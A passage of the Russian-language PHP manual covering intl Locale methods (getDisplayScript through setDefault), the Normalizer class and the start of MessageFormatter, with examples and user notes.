    $countrycode_list = array('AF', 'AX', 'AL', 'DZ', 'AS', 'AD', 'AO', 'AI', 'AQ', 'AG', 'AR', 'AM', 'AW', 'AU', 'AT', 'AZ', 'BS', 'BH', 'BD', 'BB', 'BY', 'BE', 'BZ', 'BJ', 'BM', 'BT', 'BO', 'BQ', 'BA', 'BW', 'BV', 'BR', 'IO', 'BN', 'BG', 'BF', 'BI', 'KH', 'CM', 'CA', 'CV', 'KY', 'CF', 'TD', 'CL', 'CN', 'CX', 'CC', 'CO', 'KM', 'CG', 'CD', 'CK', 'CR', 'CI', 'HR', 'CU', 'CW', 'CY', 'CZ', 'DK', 'DJ', 'DM', 'DO', 'EC', 'EG', 'SV', 'GQ', 'ER', 'EE', 'ET', 'FK', 'FO', 'FJ', 'FI', 'FR', 'GF', 'PF', 'TF', 'GA', 'GM', 'GE', 'DE', 'GH', 'GI', 'GR', 'GL', 'GD', 'GP', 'GU', 'GT', 'GG', 'GN', 'GW', 'GY', 'HT', 'HM', 'VA', 'HN', 'HK', 'HU', 'IS', 'IN', 'ID', 'IR', 'IQ', 'IE', 'IM', 'IL', 'IT', 'JM', 'JP', 'JE', 'JO', 'KZ', 'KE', 'KI', 'KP', 'KR', 'KW', 'KG', 'LA', 'LV', 'LB', 'LS', 'LR', 'LY', 'LI', 'LT', 'LU', 'MO', 'MK', 'MG', 'MW', 'MY', 'MV', 'ML', 'MT', 'MH', 'MQ', 'MR', 'MU', 'YT', 'MX', 'FM', 'MD', 'MC', 'MN', 'ME', 'MS', 'MA', 'MZ', 'MM', 'NA', 'NR', 'NP', 'NL', 'NC', 'NZ', 'NI', 'NE', 'NG', 'NU', 'NF', 'MP', 'NO', 'OM', 'PK', 'PW', 'PS', 'PA', 'PG', 'PY', 'PE', 'PH', 'PN', 'PL', 'PT', 'PR', 'QA', 'RE', 'RO', 'RU', 'RW', 'BL', 'SH', 'KN', 'LC', 'MF', 'PM', 'VC', 'WS', 'SM', 'ST', 'SA', 'SN', 'RS', 'SC', 'SL', 'SG', 'SX', 'SK', 'SI', 'SB', 'SO', 'ZA', 'GS', 'SS', 'ES', 'LK', 'SD', 'SR', 'SJ', 'SZ', 'SE', 'CH', 'SY', 'TW', 'TJ', 'TZ', 'TH', 'TL', 'TG', 'TK', 'TO', 'TT', 'TN', 'TR', 'TM', 'TC', 'TV', 'UG', 'UA', 'AE', 'GB', 'US', 'UM', 'UY', 'UZ', 'VU', 'VE', 'VN', 'VG', 'VI', 'WF', 'EH', 'YE', 'ZM', 'ZW');
    $ISO3166 = NULL;
    //Loop all country codes
    foreach ($countrycode_list as $countrycode) {
        $locale_cc = Locale::getDisplayRegion('-' . $countrycode, $language);
        //Case insensitive
        if (strcasecmp($country_name, $locale_cc) == 0) {
            $ISO3166 = $countrycode;
            break;
        }
    }
    //return NULL if not found or country code
    return $ISO3166;
}

Tests

$cc=countryNameToISO3166('Costa Rica','US');
echo '<br>(English) Country code for Costa Rica is '.$cc;
$cc=countryNameToISO3166('Royaume-Uni','FR');
echo '<br>(Francais) Country code for Royaume-Uni is '.$cc;
$cc=countryNameToISO3166('Frankreich','DE');
echo '<br>(Deutsch) Country code for Frankreich is '.$cc;
//Wrong language
$cc=countryNameToISO3166('Royaume-Uni','US');
echo '<br>(English) Country code for Royaume-Uni is '.var_dump($cc);

returns

(English) Country code for Costa Rica is CR
(Francais) Country code for Royaume-Uni is GB
(Deutsch) Country code for Frankreich is FR
(English) Country code for Royaume-Uni is NULL

Hope it can help someone other

http://www.fobec.com
mark at SHOULDREMOVE dot moderndeveloperllc dot com 08-Aug-2014 03:21
You don't have to have a fully-formed locale for the first parameter. This makes the function useful for getting the country name from any locale:

<?php
var_dump(Locale::getDisplayRegion('-US', 'fr'));

//Returns
string 'Etats-Unis' (length=11)
?>


Возвращает соответствующим образом локализованное название алфавита для заданной локали

  • « Locale::getDisplayRegion
  • Locale::getDisplayVariant »
  • PHP Manual
  • Locale
  • Возвращает соответствующим образом локализованное название алфавита для заданной локали

Locale::getDisplayScript

locale_get_display_script

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayScript -- locale_get_display_script — Возвращает соответствующим образом локализованное название алфавита для заданной локали

Описание

Объектно-ориентированный стиль

public static Locale::getDisplayScript(string $locale, ?string $displayLocale = null): string|false

Процедурный стиль

locale_get_display_script(string $locale, ?string $displayLocale = null): string|false

Возвращает соответствующим образом локализованное название алфавита для заданной локали. Если null, то будет использована локаль по умолчанию.

Список параметров

locale

Локаль.

displayLocale

Необязательная локаль для форматирования

Возвращаемые значения

Название алфавита для locale в формате локали displayLocale или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | displayLocale теперь допускает значение null.

Примеры

Пример #1 Пример использования locale_get_display_script()

<?php
echo locale_get_display_script('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'de');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'de');
?>

Результат выполнения данного примера:

Latin;
latin;
Lateinisch

Смотрите также

  • locale_get_display_name() - Возвращает соответствующим образом локализованное имя локали
  • locale_get_display_language() - Возвращает соответствующим образом локализованное имя языка для заданной локали
  • locale_get_display_region() - Возвращает соответствующим образом локализованное название региона для заданной локали
  • locale_get_display_variant() - Возвращает соответствующим образом локализованное название варианта для заданной локали

User Contributed Notes

There are no user contributed notes for this page.


Возвращает соответствующим образом локализованное название варианта для заданной локали

  • « Locale::getDisplayScript
  • Locale::getKeywords »
  • PHP Manual
  • Locale
  • Возвращает соответствующим образом локализованное название варианта для заданной локали

Locale::getDisplayVariant

locale_get_display_variant

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getDisplayVariant -- locale_get_display_variant — Возвращает соответствующим образом локализованное название варианта для заданной локали

Описание

Объектно-ориентированный стиль

public static Locale::getDisplayVariant(string $locale, ?string $displayLocale = null): string|false

Процедурный стиль

locale_get_display_variant(string $locale, ?string $displayLocale = null): string|false

Возвращает соответствующим образом локализованное название варианта для заданной локали. Если null, то будет использована локаль по умолчанию.

Список параметров

locale

Локаль.

displayLocale

Необязательная локаль для форматирования

Возвращаемые значения

Название варианта для locale в формате локали displayLocale или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | displayLocale теперь допускает значение null.

Примеры

Пример #1 Пример использования locale_get_display_variant()

<?php
echo locale_get_display_variant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'de');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'de');
?>

Результат выполнения данного примера:

Natisone dialect;
dialecte de Natisone;
NEDIS

Смотрите также

  • locale_get_display_name() - Возвращает соответствующим образом локализованное имя локали
  • locale_get_display_language() - Возвращает соответствующим образом локализованное имя языка для заданной локали
  • locale_get_display_script() - Возвращает соответствующим образом локализованное название алфавита для заданной локали
  • locale_get_display_region() - Возвращает соответствующим образом локализованное название региона для заданной локали

User Contributed Notes

There are no user contributed notes for this page.


Получить ключевые слова для локали

  • « Locale::getDisplayVariant
  • Locale::getPrimaryLanguage »
  • PHP Manual
  • Locale
  • Получить ключевые слова для локали

Locale::getKeywords

locale_get_keywords

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getKeywords -- locale_get_keywords — Получить ключевые слова для локали

Описание

Объектно-ориентированный стиль

public static Locale::getKeywords(string $locale): array|false|null

Процедурный стиль

locale_get_keywords(string $locale): array|false|null

Получает ключевые слова для локали.

Список параметров

locale

Локаль для извлечения ключевых слов

Возвращаемые значения

Ассоциативный массив (array) с парами ключ-значение для заданной локали

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_get_keywords()

<?php
$keywords_arr = locale_get_keywords('de_DE@currency=EUR;collation=PHONEBOOK');
if ($keywords_arr) {
foreach ($keywords_arr as $key => $value) {
echo "$key = $value\n";
}
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$keywords_arr = Locale::getKeywords('de_DE@currency=EUR;collation=PHONEBOOK');
if ($keywords_arr) {
foreach ($keywords_arr as $key => $value) {
echo "$key = $value\n";
}
}
?>

Результат выполнения данного примера:

collation = PHONEBOOK
currency = EUR

Смотрите также

  • locale_get_all_variants() - Получение вариантов из переданной локали

User Contributed Notes

There are no user contributed notes for this page.


Получить первичный язык для локали

  • « Locale::getKeywords
  • Locale::getRegion »
  • PHP Manual
  • Locale
  • Получить первичный язык для локали

Locale::getPrimaryLanguage

locale_get_primary_language

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getPrimaryLanguage -- locale_get_primary_language — Получить первичный язык для локали

Описание

Объектно-ориентированный стиль

public static Locale::getPrimaryLanguage(string $locale): ?string

Процедурный стиль

locale_get_primary_language(string $locale): ?string

Получает первичный язык для локали.

Список параметров

locale

Локаль для извлечения первичного языка

Возвращаемые значения

Код языка, связанный с локалью.

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_get_primary_language()

<?php
echo locale_get_primary_language('zh-Hant');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getPrimaryLanguage('zh-Hant');
?>

Результат выполнения данного примера:

zh

Смотрите также

  • locale_get_script() - Получить алфавит для локали
  • locale_get_region() - Получить регион для локали
  • locale_get_all_variants() - Получение вариантов из переданной локали

User Contributed Notes

Mahn 09-May-2015 11:48
The behaviour when a falsy value is passed as the $locale is undocumented, but it appears that it returns the primary language of the default system language. In my case:

    Locale::getPrimaryLanguage(null);

Returns 'en'. So make sure to test $locale before passing it to the method.


Получить регион для локали

  • « Locale::getPrimaryLanguage
  • Locale::getScript »
  • PHP Manual
  • Locale
  • Получить регион для локали

Locale::getRegion

locale_get_region

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getRegion -- locale_get_region — Получить регион для локали

Описание

Объектно-ориентированный стиль

public static Locale::getRegion(string $locale): ?string

Процедурный стиль

locale_get_region(string $locale): ?string

Получает регион для локали.

Список параметров

locale

Локаль для извлечения кода региона

Возвращаемые значения

Код региона, связанный с локалью или null, если отсутствует.

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_get_region()

<?php
echo locale_get_region('de-CH-1901');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getRegion('de-CH-1901');
?>

Результат выполнения данного примера:

CH

Смотрите также

  • locale_get_primary_language() - Получить первичный язык для локали
  • locale_get_script() - Получить алфавит для локали
  • locale_get_all_variants() - Получение вариантов из переданной локали

User Contributed Notes

Patanjali 30-Jan-2017 06:24
locale_get_region does no validation of whether the region exists, but just extracts the text that looks like it can be the region part of the locale, and formats it as uppercase.

It doesn't even have to be a 2-character code, but can be an invalid 3-character one.


Получить алфавит для локали

  • « Locale::getRegion
  • Locale::lookup »
  • PHP Manual
  • Locale
  • Получить алфавит для локали

Locale::getScript

locale_get_script

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::getScript -- locale_get_script — Получить алфавит для локали

Описание

Объектно-ориентированный стиль

public static Locale::getScript(string $locale): ?string

Процедурный стиль

locale_get_script(string $locale): ?string

Получает алфавит для локали.

Список параметров

locale

Локаль для извлечения алфавита

Возвращаемые значения

Алфавит, связанный с локалью или null, если отсутствует.

Примеры

Пример #1 Пример использования locale_get_script()

<?php
echo locale_get_script('sr-Cyrl');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo Locale::getScript('sr-Cyrl');
?>

Результат выполнения данного примера:

Cyrl

Смотрите также

  • locale_get_primary_language() - Получить первичный язык для локали
  • locale_get_region() - Получить регион для локали
  • locale_get_all_variants() - Получение вариантов из переданной локали

User Contributed Notes

Patanjali 30-Jan-2017 06:27
locale_get_script does no validation of whether the script exists, but just extracts the 4-character text that looks like it can be the script part of the locale, and formats it with an initial cap.


Поиск языковых меток наиболее подходящих заданной локали

  • « Locale::getScript
  • Locale::parseLocale »
  • PHP Manual
  • Locale
  • Поиск языковых меток наиболее подходящих заданной локали

Locale::lookup

locale_lookup

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::lookup -- locale_lookup — Поиск языковых меток наиболее подходящих заданной локали

Описание

Объектно-ориентированный стиль

public static Locale::lookup(
array $languageTag,
string $locale,
bool $canonicalize = false,
?string $defaultLocale = null
): ?string

Процедурный стиль

locale_lookup(
array $languageTag,
string $locale,
bool $canonicalize = false,
?string $defaultLocale = null
): ?string

Ищет элементы languageTag, наилучшим образом подходящие для диапазона языков, указанного в locale, в соответствии с алгоритмом поиска RFC 4647.

Список параметров

languageTag

Массив (array), содержащий список меток языков для сравнения с locale. Не более 100 элементов.

locale

Локаль.

canonicalize

Если true, то аргументы сперва будут приведены к каноническому виду.

defaultLocale

Локаль по умолчанию, если совпадений не будет найдено.

Возвращаемые значения

Наиболее подходящая данной локали метка языка.

Возвращает null, если длина locale превышает INTL_MAX_LOCALE_LEN.

Список изменений

Версия | Описание
7.4.0 | defaultLocale теперь допускает значение null.

Примеры

Пример #1 Пример использования locale_lookup()

<?php
$arr = array(
'de-DEVA',
'de-DE-1996',
'de',
'de-De'
);
echo locale_lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$arr = array(
'de-DEVA',
'de-DE-1996',
'de',
'de-De'
);
echo Locale::lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

Результат выполнения данного примера:

de_de_1996

Смотрите также

  • locale_filter_matches() - Проверить, соответствует ли тег фильтра языка локали

User Contributed Notes

Anonymous 08-May-2015 10:59
Note that this method does not understand "similar" languages, so the following:

    Locale::lookup(["en-US"], "en-GB", false);
Or:
    Locale::lookup(["es-ES"], "es-CO", false);

Does not work as you would expect (empty result). To get a match in those cases you will have to use two letter language codes instead:

    Locale::lookup(["en"], "en-GB", false);
Or:
    Locale::lookup(["es"], "es-CO", false);

These do return 'en' and 'es' respectively.
vladimir at bashkirtsev dot com 28-Jul-2014 03:22
It worth to note that if $langtag array is empty this function returns empty string and not $default . Use array(false) if your $langtag array is empty in order to get default locale.


Получить ассоциативный массив всех подтегов локали

  • « Locale::lookup
  • Locale::setDefault »
  • PHP Manual
  • Locale
  • Получить ассоциативный массив всех подтегов локали

Locale::parseLocale

locale_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::parseLocale -- locale_parse — Получить ассоциативный массив всех подтегов локали

Описание

Объектно-ориентированный стиль

public static Locale::parseLocale(string $locale): ?array

Процедурный стиль

locale_parse(string $locale): ?array

Возвращает ассоциативный массив, содержащий все подтеги заданной локали.

Список параметров

locale

Локаль из которой будут извлекаться подтеги. Обратите внимание: подтегов 'variant' и 'private' может быть не более 15, а подтегов 'extlang' не более 3.

Возвращаемые значения

Возвращает ассоциативный массив, в котором ключами выступают имена подтегов, а значениями, соответственно, их значения. Подтеги будут отсортированы как подтеги идентификатора локали, т.е. если идентификатор содержит несколько вариантов '-varX-varY-varZ', то в массиве они будут располагаться так: variant0=>varX, variant1=>varY, variant2=>varZ

Возвращает null если длина параметра locale превышает INTL_MAX_LOCALE_LEN.

Примеры

Пример #1 Пример использования locale_parse()

<?php
$arr = locale_parse('sl-Latn-IT-nedis');
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$arr = Locale::parseLocale('sl-Latn-IT-nedis');
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}
?>

Результат выполнения данного примера:

language : sl , script : Latn , region : IT , variant0 : NEDIS ,

Смотрите также

  • locale_compose() - Возвращает корректно отсортированные и разделённые идентификаторы локали

User Contributed Notes

There are no user contributed notes for this page.


Установить локаль по умолчанию во время исполнения

  • « Locale::parseLocale
  • Normalizer »
  • PHP Manual
  • Locale
  • Установить локаль по умолчанию во время исполнения

Locale::setDefault

locale_set_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::setDefault -- locale_set_default — Установить локаль по умолчанию во время исполнения

Описание

Объектно-ориентированный стиль

public static Locale::setDefault(string $locale): bool

Процедурный стиль

locale_set_default(string $locale): bool

Устанавливает локаль по умолчанию во время исполнения согласно аргументу locale. Эта функция изменяет значение глобальной опции 'default_locale'. Допускаются расширения UAX #35.

Список параметров

locale

Совместимая с BCP 47 метка языка.

Возвращаемые значения

Возвращает true.

Примеры

Пример #1 Пример использования locale_set_default()

<?php
locale_set_default('de-DE');
echo locale_get_default();
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
Locale::setDefault('de-DE');
echo Locale::getDefault();
?>

Результат выполнения данного примера:

de-DE

Смотрите также

  • locale_get_default() - Получение значения локали INTL по умолчанию из опции 'default_locale'

User Contributed Notes

There are no user contributed notes for this page.


Класс Normalizer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Введение

Нормализация - это процесс преобразования символов и их последовательностей в формальное представление более низкого уровня. Данный процесс крайне важен при сравнении строк при сортировке или при поиске, но также используется при сохранении текста, чтобы быть уверенным в том, что он сохранился корректно.

Консорциум Unicode определил несколько форм нормализации, отражающих разные потребности приложений:

  • Normalization Form D (NFD) - Каноническое разложение
  • Normalization Form C (NFC) - Каноническое разложение с последующей канонической сборкой
  • Normalization Form KD (NFKD) - Совместимое разложение
  • Normalization Form KC (NFKC) - Совместимое разложение с последующей канонической сборкой
Различные формы задаются в требованиях наборов преобразований текста. Преобразования вычисляются с алгоритма и набора файлов данных.

Обзор классов

class Normalizer {
/* Константы */
public const int FORM_D;
public const int NFD;
public const int FORM_KD;
public const int NFKD;
public const int FORM_C;
public const int NFC;
public const int FORM_KC;
public const int NFKC;
public const int FORM_KC_CF;
public const int NFKC_CF;
/* Методы */
public static getRawDecomposition(string $string, int $form = Normalizer::FORM_C): ?string
public static isNormalized(string $string, int $form = Normalizer::FORM_C): bool
public static normalize(string $string, int $form = Normalizer::FORM_C): string|false
}

Предопределённые константы

Данные константы задают форму нормализации, используемую нормализатором:

Normalizer::FORM_C
Форма нормализации C (NFC) - Каноническое разложение, после которого каноническая сборка
Normalizer::FORM_D
Форма нормализации D (NFD) - Каноническое разложение
Normalizer::NFD

Normalizer::FORM_KC
Форма нормализации KC (NFKC) - Совместимое разложение, после которого каноническая сборка
Normalizer::NFKC

Normalizer::FORM_KC_CF

Normalizer::FORM_KD
Форма нормализации KD (NFKD) - Совместимое разложение
Normalizer::NFKD

Normalizer::NFC

Normalizer::NFKC_CF

Смотрите также

  • » Нормализация Unicode
  • » Нормализация Unicode. FAQ
  • » ICU Руководство пользователя - нормализация
  • » ICU Описание API - нормализация

Список изменений

Версия | Описание
8.0.0 | Константа Normalizer::NONE была удалена.

Содержание

  • Normalizer::getRawDecomposition — Извлекает свойство Decomposition_Mapping для заданного символа UTF-8
  • Normalizer::isNormalized — Проверить, соответствует ли переданная строка заданной форме нормализации
  • Normalizer::normalize — Нормализация строки

User Contributed Notes

There are no user contributed notes for this page.


Извлекает свойство Decomposition_Mapping для заданного символа UTF-8

  • « Normalizer
  • Normalizer::isNormalized »
  • PHP Manual
  • Normalizer
  • Извлекает свойство Decomposition_Mapping для заданного символа UTF-8

Normalizer::getRawDecomposition

normalizer_get_raw_decomposition

(PHP 7 >= 7.3, PHP 8)

Normalizer::getRawDecomposition -- normalizer_get_raw_decomposition — Извлекает свойство Decomposition_Mapping для заданного символа UTF-8

Описание

Объектно-ориентированный стиль

public static Normalizer::getRawDecomposition(string $string, int $form = Normalizer::FORM_C): ?string

Процедурный стиль

normalizer_get_raw_decomposition(string $string, int $form = Normalizer::FORM_C): ?string

Извлекает свойство Decomposition_Mapping, как определено в Unicode Character Database (UCD), для заданного символа UTF-8.

Список параметров

string

Строка, которая должна представлять из себя единичный символ в кодировке UTF-8.

Возвращаемые значения

Возвращает строку (string), содержащую свойство Decomposition_Mapping, если оно присутствует в UCD.

Возвращает null если для символа отсутствует свойство Decomposition_Mapping.

Примеры

Пример #1 Пример использования Normalizer::getRawDecomposition()

<?php

$result = "";
$strings = [
"a",
"\u{FFDA}",
"\u{FDFA}",
"",
"aa",
"\xF5",
];

foreach ($strings as $string) {
$decomposition = Normalizer::getRawDecomposition($string);
// $decomposition = normalizer_get_raw_decomposition($string); Процедурный стиль

$error_code = intl_get_error_code();
$error_message = intl_get_error_message();

$string_hex = bin2hex($string);
$result .= "---------------------\n";

if ($decomposition === null) {
$result .= "'$string_hex' не имеет соответствия декомпозиции\n" ;
} else {
$result .= "'$string_hex' имеет соответствие декомпозиции '" . bin2hex($decomposition) . "'\n" ;
}

$result .= "error info: '$error_message' ($error_code)\n";
}

echo $result;
?>

Результат выполнения данного примера:

---------------------
'61' не имеет соответствия декомпозиции
error info: 'U_ZERO_ERROR' (0)
---------------------
'efbf9a' имеет соответствие декомпозиции 'e385a1'
error info: 'U_ZERO_ERROR' (0)
---------------------
'efb7ba' имеет соответствие декомпозиции 'd8b5d984d98920d8a7d984d984d98720d8b9d984d98ad98720d988d8b3d984d985'
error info: 'U_ZERO_ERROR' (0)
---------------------
'' не имеет соответствия декомпозиции
error info: 'Input string must be exactly one UTF-8 encoded code point long.: U_ILLEGAL_ARGUMENT_ERROR' (1)
---------------------
'6161' не имеет соответствия декомпозиции
error info: 'Input string must be exactly one UTF-8 encoded code point long.: U_ILLEGAL_ARGUMENT_ERROR' (1)
---------------------
'f5' не имеет соответствия декомпозиции
error info: 'Code point out of range: U_ILLEGAL_ARGUMENT_ERROR' (1)

Смотрите также

  • Normalizer::normalize() - Нормализация строки
  • Normalizer::isNormalized() - Проверить, соответствует ли переданная строка заданной форме нормализации

User Contributed Notes

There are no user contributed notes for this page.


Проверить, соответствует ли переданная строка заданной форме нормализации

  • « Normalizer::getRawDecomposition
  • Normalizer::normalize »
  • PHP Manual
  • Normalizer
  • Проверить, соответствует ли переданная строка заданной форме нормализации

Normalizer::isNormalized

normalizer_is_normalized

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Normalizer::isNormalized -- normalizer_is_normalized — Проверить, соответствует ли переданная строка заданной форме нормализации

Описание

Объектно-ориентированный стиль

public static Normalizer::isNormalized(string $string, int $form = Normalizer::FORM_C): bool

Процедурный стиль

normalizer_is_normalized(string $string, int $form = Normalizer::FORM_C): bool

Проверить, соответствует ли переданная строка заданной форме нормализации.

Список параметров

string

Проверяемая строка

form

Одна из форм нормализации.

Возвращаемые значения

true если нормализована и false, если нет или если произошла ошибка

Примеры

Пример #1 Пример использования normalizer_is_normalized()

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( normalizer_is_normalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( normalizer_is_normalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

Пример #2 Пример в объектно-ориентированном стиле

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( Normalizer::isNormalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( Normalizer::isNormalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

Результат выполнения данного примера:

not normalized; normalized

Смотрите также

  • normalizer_normalize() - Нормализация строки

User Contributed Notes

There are no user contributed notes for this page.


Нормализация строки

  • « Normalizer::isNormalized
  • MessageFormatter »
  • PHP Manual
  • Normalizer
  • Нормализация строки

Normalizer::normalize

normalizer_normalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Normalizer::normalize -- normalizer_normalize — Нормализация строки

Описание

Объектно-ориентированный стиль

public static Normalizer::normalize(string $string, int $form = Normalizer::FORM_C): string|false

Процедурный стиль

normalizer_normalize(string $string, int $form = Normalizer::FORM_C): string|false

Нормализует переданную строку

Список параметров

string

Строка для нормализации

form

Одна из форм нормализации

Возвращаемые значения

Нормализованная строка или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования normalizer_normalize()

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_1 = normalizer_normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

Пример #2 Пример в объектно-ориентированном стиле

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_1 = Normalizer::normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

Результат выполнения данного примера:

%C3%85 %C3%85

Смотрите также

  • normalizer_is_normalized() - Проверить, соответствует ли переданная строка заданной форме нормализации

User Contributed Notes

anrdaemon at freemail dot ru 12-Feb-2018 11:53
"If you get error messages while starting apache of xampp package with activated extension=intl.dll," do NOT copy any files around.

Use Apache's "LoadFile ..." functionality to load any missing DLL's not found within a %PATH%. Even php##ts.dll itself.
spam at oscar dot xyz 25-Feb-2015 02:39
You can use the 'original' abbreviations if you feel more comfortable:

<?php
Normalizer::NFD;
Normalizer::NFKD;
Normalizer::NFC;
Normalizer::NFKC;
?>


Класс MessageFormatter

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Введение

MessageFormatter - это класс, позволяющий создавать склеиваемые, независимые от языка сообщения. Методы этого класса используются для создания всех сообщений, показываемых пользователю.

Класс MessageFormatter собирает сообщение из разных фрагментов (таких как текст, числа и даты), поставляемых программой. Данный класс позволяет программе не задумываться о том, в каком порядке эти фрагменты надо склеивать. Класс использует спецификации форматирования для сборки этих фрагментов в сообщение, хранящееся в виде одной строки в хранилище ресурсов. К примеру, MessageFormatter позволит напечатать фразу "Finished printing x out of y files..." таким образом, чтобы обеспечить гибкость перевода.

Ранее сообщение для конечного пользователя создавалось как законченная фраза и обрабатывалась как строка. Такая процедура приводила к проблемам локализации, поскольку структура фразы, порядок слов, формат чисел и прочее сильно отличались в разных языках. Нейтральная к языку процедура создания сообщений держит каждую часть сообщения отдельно и предоставляет ключи к данным. Используя эти ключи, класс MessageFormatter может склеивать части сообщения, преобразовывать их в соответствии с локалью и отображать в виде грамотного сообщения конечному пользователю.

MessageFormatter берет набор объектов, форматирует их и вставляет в шаблон в нужных местах. Совместно с MessageFormatter полезно использовать средства форматирования выбора (choice formatter) для обработки множественного/единственного числа, сравнения чисел и выбора из массива элементов. Обычно формат сообщения берётся из ресурсов, а аргументы передаются во время выполнения.

Обзор классов

class MessageFormatter {
/* Методы */
public __construct(string $locale, string $pattern)
public static create(string $locale, string $pattern): ?MessageFormatter
public static formatMessage(string $locale, string $pattern, array $values): string|false
public format(array $values): string|false
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(): string
public getPattern(): string|false
public static parseMessage(string $locale, string $pattern, string $message): array|false
public parse(string $string): array|false
public setPattern(string $pattern): bool
}

Смотрите также

  • » ICU. Документация по форматированию.
  • » ICU. Описание форматирования сообщений.
  • » ICU. Средства форматирования сообщений
  • » ICU. Средства форматирования выбора

Содержание

  • MessageFormatter::create — Создаёт средство форматирования сообщений
  • MessageFormatter::formatMessage — Быстро форматирует сообщение
  • MessageFormatter::format — Форматирует сообщение
  • MessageFormatter::getErrorCode — Возвращает код ошибки последней операции
  • MessageFormatter::getErrorMessage — Возвращает текст ошибки последней операции
  • MessageFormatter::getLocale — Возвращает локаль, для которой было создано средство форматирования
  • MessageFormatter::getPattern — Возвращает шаблон, используемый средством форматирования
  • MessageFormatter::parseMessage — Быстро разбирает входную строку
  • MessageFormatter::parse — Разбирает строку согласно шаблону
  • MessageFormatter::setPattern — Устанавливает шаблон, используемый средством форматирования

User Contributed Notes

from dot php dot net at NOSPAM dot brainbox dot cz 02-Oct-2014 10:18
